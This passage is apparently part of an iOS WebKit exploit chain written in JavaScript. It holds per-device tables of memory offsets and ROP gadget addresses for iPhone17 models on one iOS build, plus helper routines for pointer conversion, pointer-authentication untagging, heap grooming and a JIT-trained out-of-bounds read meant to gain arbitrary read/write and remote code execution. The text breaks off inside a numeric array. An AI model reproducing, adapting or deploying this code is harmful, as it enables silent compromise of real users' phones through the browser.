0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb1b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc65870n, + libsystem_c__atexit_mutex : 0x1ed6eb318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea580n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257a1fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27270c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__HTMLDocument_vtable : 0x1f10e1bf8n, + WebCore__initPKContact_once : 0x1ed88c0f8n, + WebCore__initPKContact_value : 0x1ed88c100n, + WebCore__PAL_getPKContactClass : 0x1ed8835b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a8d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a8c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a8b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880500n, + }, + "iPhone17,3_22G100": { + __pthread_head : 0x2699b8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa3d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9778n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708608n, + free_slabs : 0x1ed7c1d90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dafb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dabb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6480n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a17e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2720a4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__HTMLDocument_vtable : 0x1f10ddbf8n, + WebCore__initPKContact_once : 0x1ed887ff8n, + WebCore__initPKContact_value : 0x1ed888000n, + WebCore__PAL_getPKContactClass : 0x1ed87f4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8867d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8867c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8867b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c400n, + }, + "iPhone17,4_22G100": { + __pthread_head : 0x2699b8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa3d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9778n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708608n, + free_slabs : 0x1ed7c1d90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dafb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dabb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6480n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a17e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2720a4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__HTMLDocument_vtable : 0x1f10ddbf8n, + WebCore__initPKContact_once : 0x1ed887ff8n, + WebCore__initPKContact_value : 0x1ed888000n, + WebCore__PAL_getPKContactClass : 0x1ed87f4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8867d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8867c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8867b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c400n, + }, + "iPhone17,5_22G100": { + __pthread_head : 0x269720020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa390n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa2f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa340n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9738n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7085c8n, + free_slabs : 0x1ed7c1d50n, + gadget_control_1_ios184 : 0x23ed6d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7daf70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac20n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac28n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac30n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dab70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac38n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb0f8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc59870n, + libsystem_c__atexit_mutex : 0x1ed6e71d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6440n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a13e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271de4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b1e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__HTMLDocument_vtable : 0x1f10ddbf8n, + WebCore__initPKContact_once : 0x1ed887fb8n, + WebCore__initPKContact_value : 0x1ed887fc0n, + WebCore__PAL_getPKContactClass : 0x1ed87f478n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886790n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886788n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed886770n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c3c0n, + } +}; + +var globalFuncParseFloat = 0n; +var maximum_id = 0n; +async function _aarw_main() { + + // util func. + const util = (() => { + + let BASE = 0x100000000; + let scratch = new ArrayBuffer(0x10); + let u32 = new Uint32Array(scratch); + let f64 = new Float64Array(scratch); + let u64 = new BigUint64Array(scratch); + let conv_offset = 0; + + function set64(offset, lo, hi = null) { + u32[offset / 4] = lo; + u32[offset / 4 + 1] = hi !== null ? hi : lo / BASE; + } + + function _i2f(lo, hi = null) { + set64(conv_offset, lo, hi); + return f64[conv_offset / 8]; + } + + function _i64_2f(x) { + u64[conv_offset / 8] = x; + return f64[conv_offset / 8]; + } + + function _f2i(x) { + f64[conv_offset / 8] = x; + return u32[conv_offset/4] + BASE * u32[conv_offset / 4 + 1]; + } + + function _f2i64(x) { + f64[conv_offset / 8] = x; + return u64[conv_offset / 8]; + } + + function _hex(x) { + return '0x' + x.toString(16); + } + + const PAC_MASK = (1n << 39n) - 1n; + function _untag(x) { + return Number(BigInt(x) & PAC_MASK); + }; + + function _dgc(n = 10000) { + let ary = []; + for (let i = 0; i < n; ++i) { + ary.push(new Uint8Array(10000)); + } + } + + return {_i2f, _i64_2f, _f2i, _f2i64, _hex, _untag, _dgc}; + + })(); + + const {_untag: untag} = util; + const {_make_rw} = (() => { + + const {_f2i, _i2f, _dgc} = (() => { + + let BASE = 0x100000000; + let scratch = new ArrayBuffer(0x10); + let u32 = new Uint32Array(scratch); + let f64 = new Float64Array(scratch); + let u64 = new BigUint64Array(scratch); + let conv_offset = 0; + + function set64(offset, lo, hi = null) { + u32[offset / 4] = lo; + u32[offset / 4 + 1] = hi !== null ? hi : lo / BASE; + } + + function _i2f(lo, hi = null) { + set64(conv_offset, lo, hi); + return f64[conv_offset / 8]; + } + + function _i64_2f(x) { + u64[conv_offset / 8] = x; + return f64[conv_offset / 8]; + } + + function _f2i(x) { + f64[conv_offset / 8] = x; + return u32[conv_offset/4] + BASE * u32[conv_offset / 4 + 1]; + } + + function _f2i64(x) { + f64[conv_offset / 8] = x; + return u64[conv_offset / 8]; + } + + function _hex(x) { + return '0x' + x.toString(16); + } + + const PAC_MASK = (1n << 39n) - 1n; + function _untag(x) { + return Number(BigInt(x) & PAC_MASK); + }; + + function _dgc(n = 10000) { + let ary = []; + for (let i = 0; i < n; ++i) { + ary.push(new Uint8Array(10000)); + } + } + + return {_i2f, _i64_2f, _f2i, _f2i64, _hex, _untag, _dgc}; + + })() + + async function _make_rw(p_rce, mk_stage1, verify = false) { + for (let i = 0; i < 20000; ++i) { + _f2i(i); + _i2f(i); + } + + function getarg() { + return arguments; + } + + function get_oob(a,n) { + return a[1][n]; + } + + for (let i = 0; i < 300000; i++) { + let invkr = [i,getarg(i,2,3,4)]; + get_oob(invkr, 0); + } + + let arrs = new Array(4000); + for (let i = 0; i < 4000; ++i) { + let obj = { + a: i, + b: 0, + c: 0, + d: 0, + e: 0, + f: 0, + }; + arrs[i] = obj; + } + + mk_stage1(); + // GC is fine now + if (verify) _dgc(10000); + } + return {_make_rw}; + + })(); + + class TryAgainError extends Error {} + + const {_make_stage1} = (() => { + + let treetab = new Uint32Array([0x26258,0x12084,0xa8080,0x22488,0x49058,0x410a1,0x15099,0x9a614,0x84160,0x95095,0x44664,0x5a506,0x50889,0x4a488,0x60694,0xaa465,0x52481,0x69465,0x56491,0x6685a,0x12699,0xa29a8,0xa5620,0x181a4,0x91124,0xa6166,0x20a2,0x8a056,0x15140,0x98502,0x1a149,0x952aa,0x20a08,0x6206,0x12126,0x50409,0x46810,0xa2204,0xa499a,0x1122a,0x96295,0xa1188,0x1415,0x69a6a,0x25411,0x6591,0x60861,0x52246,0xa1088,0x45554,0x2889a,0x21895,0x8605,0x5892a,0x12060,0xa8665,0x94959,0x62090,0x91416,0x24929,0xa4495,0x10a98,0x92628,0x416,0x41816,0x5a86a,0x69026,0x58966,0x15895,0x580a2,0xa8140,0x404a5,0x15548,0x9a28,0x8aa51,0x92619,0xa2250,0x82404,0xa295a,0x84185,0xa5816,0x51469,0x82a91,0x48226,0x266a0,0x550a1,0x82410,0x516a5,0x11598,0x51266,0x8a408,0x15219,0x86a25,0x62606,0x6556,0x11892,0x14696,0x8a49a,0x904,0x5955a,0x10892,0x9682,0x8424a,0x54222,0x44a89,0x9626,0x82596,0x59594,0x91962,0x25969,0x61924,0x20180,0xa44aa,0x1a996,0x81421,0xa4601,0xa0261,0x92140,0x8810a,0x10641,0x49660,0x22901,0x2a600,0x5a140,0x44a20,0xa6199,0xa1a6,0x5a9a9,0x85028,0x12168,0x5811a,0x65928,0xaa485,0x12451,0x6145a,0x59126,0x89602,0x49448,0x59090,0x60598,0x5a802,0x6aa14,0xa42a0,0x89466,0x206a2,0x92650,0xa1a8a,0xa21,0x58244,0x49698,0x52564,0x6246a,0xa5451,0x8420,0xa8509,0x81a45,0x8654,0x18a91,0x95654,0x48104,0x820,0x28a09,0x89950,0xa2202,0x5658a,0x89092,0x6899,0x95a61,0xa05a5,0x4191a,0x1a562,0x45658,0x9a526,0x28a18,0x8956,0x91546,0xa26aa,0x85892,0x54292,0xa8581,0x51189,0x14445,0xa08a0,0xa8a60,0x29118,0x62025,0xa205a,0x54812,0x2214,0x64694,0x28682,0x14268,0x96054,0x46598,0x5020a,0x68115,0x82882,0x698a6,0x11191,0x2a461,0x92442,0x21a84,0x6054a,0x10442,0x9464a,0x49592,0x8102a,0x168a,0x6466,0x2a6a1,0x91619,0x189a2,0x19010,0x41510,0x85290,0x69810,0x9a065,0x981a0,0x29960,0x88152,0x29164,0xa65a9,0x59a42,0x69585,0xa994,0x29a92,0xaa058,0x2059a,0x21541,0x54a14,0x85415,0x96084,0x56551,0x99856,0xaa96a,0x81526,0xa6a24,0x96880,0x9214a,0x1699,0x2811,0x66862,0x6226a,0x58150,0x5181a,0x94a6,0x9a684,0xa1868,0xa90,0x21868,0x804a2,0xa1661,0x8885a,0x65182,0x58290,0x68421,0xa462,0x1aa9a,0xa6499,0xa605a,0x8640,0x260a0,0x120a0,0x54492,0x26a05,0x68a09,0x2aa42,0x45806,0x14980,0x94980,0x6589a,0x869a,0x64902,0xa254a,0x14121,0x92aa0,0xa2919,0x64a86,0x269a,0xa4546,0x51462,0x9891,0x21116,0x42029,0x6aa8a,0x409a,0xa151a,0x42a55,0xa6250,0x59910,0x9412a,0x50424,0x26419,0x8291a,0x5a264,0x84612,0x21521,0x99855,0xa8191,0x82828,0x995a4,0xa1124,0xa4491,0x19921,0x595aa,0x9a429,0x196a,0xa2142,0x99a80,0x58409,0xa8661,0x5982,0x68a48,0x41821,0x54126,0x52262,0x90841,0xaa142,0x10564,0x4a658,0x49512,0x8490,0x41808,0x2a685,0x68589,0x51825,0x91484,0x1a096,0x12684,0x24252,0x48661,0x6640,0xa144a,0x49269,0x4a5a,0x184a2,0x64840,0xa1a81,0x2a814,0x16190,0x89046,0x2009a,0x829a,0x58282,0x90229,0x51646,0x949a8,0x44985,0x22540,0x44446,0xa848a,0x10966,0x22496,0x68922,0x90860,0x26486,0x442aa,0x28506,0xaa912,0xa005,0x52105,0x98822,0xa4a88,0x8240,0x44250,0x49252,0x42a91,0x21599,0x65216,0x56609,0x2a240,0x14629,0xa5616,0xaa6,0x26550,0x5a285,0x126a9,0x14909,0x18618,0x28159,0x49410,0x11a24,0x12544,0x10466,0x80191,0x28551,0x5191a,0x90865,0x62649,0xa4658,0x58614,0x82022,0x12122,0x266a,0x9809a,0x98662,0x6482a,0x42a95,0x49496,0x91a10,0xaa459,0x14554,0x816a2,0x84a81,0x80a55,0x85452,0x416aa,0x8908a,0x65006,0x581aa,0x8458a,0x2aa0,0x60aa,0x52548,0x61982,0x99844,0x4129,0x29aa9,0xa10a6,0x9958a,0x49091,0xa580,0x19984,0x68544,0x98564,0x40689,0x14a,0x10920,0x56218,0x92694,0x50426,0x19881,0x12a46,0x8089a,0x5a948,0x22408,0x60425,0x98016,0x2628,0xa5180,0x5568a,0x52984,0xa18a8,0x21210,0x6855a,0x26859,0x65092,0x46a05,0x24809,0x2aa55,0xa04a6,0x55104,0x9a8aa